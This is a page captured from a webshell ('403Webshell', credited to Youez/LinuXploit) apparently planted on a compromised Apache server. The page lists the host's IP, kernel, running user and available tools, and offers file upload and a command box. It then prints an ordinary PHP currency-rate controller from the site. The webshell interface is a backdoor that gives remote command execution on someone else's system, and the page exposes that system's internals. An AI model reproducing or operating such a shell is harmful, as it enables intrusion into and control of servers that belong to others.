403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/modules/webservice/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/modules/webservice/controllers/CustomerController.php
<?php

class Webservice_CurrencyController extends Catabatic_ValidateCustomer {

    public function init() {
        
    }

    public function indexAction() {
        $model = new Webservice_Model_Master();
        $getCityData = $model->getMasterCurrencyData();
        $error = array();
        if (!empty($getCityData)) {
            $product_item = array();
            $i = 0;
            foreach ($getCityData as $row) {
                $product_item[$i]["CurrencyId"] = $row['CurrencyType'];
                $product_item[$i]["Title"] = json_encode($row['Symbol']);
                $i++;
            }
            $resultSet = $product_item;
        } else {
            $error["status"] = false;
            $resultSet = $error;
        }
        $jsonData = json_encode($resultSet);
        echo $jsonData;
        exit;
    }

    public function rateAction() {
        $model = new Webservice_Model_Master();
        $currentDate = date('Y-m-d');
        $getCityData = $model->getUpdatedRate($currentDate);
        $error = array();
        if (!empty($getCityData)) {
            $product_item = array();
            $i = 0;
            foreach ($getCityData as $row) {
                $product_item[$i]["FCurrencyType"] = $row['FCurrencyType'];
                $product_item[$i]["TCurrencyType"] = $row['TCurrencyType'];
                $product_item[$i]["Rate"] = $row['Rate'];
                $i++;
            }
            $resultSet = $product_item;
        } else {
            $error["status"] = false;
            $resultSet = $error;
        }
        $jsonData = json_encode($resultSet);
        echo $jsonData;
        exit;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit